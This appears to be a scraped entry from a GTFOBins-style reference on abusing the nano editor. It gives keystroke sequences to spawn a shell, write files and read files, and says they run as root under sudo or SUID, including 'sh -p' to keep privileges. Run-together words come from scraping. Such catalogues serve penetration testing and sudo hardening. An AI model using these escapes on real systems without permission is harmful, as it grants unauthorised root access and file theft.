nano
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
nano^R^Xreset; sh 1>&0 2>&0This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.nano^R^Xreset; sh 1>&0 2>&0This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.nano^R^Xreset; sh 1>&0 2>&0 - This function can be performed by any unprivileged user.
nano -s /bin/sh/bin/sh^T^TThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.nano -s /bin/sh/bin/sh^T^TThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.nano -s '/bin/sh -p'/bin/sh -p^T^T
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
nano /path/to/output-fileDATA^OThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.nano /path/to/output-fileDATA^OThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.nano /path/to/output-fileDATA^O
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
nano /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.nano /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.nano /path/to/input-file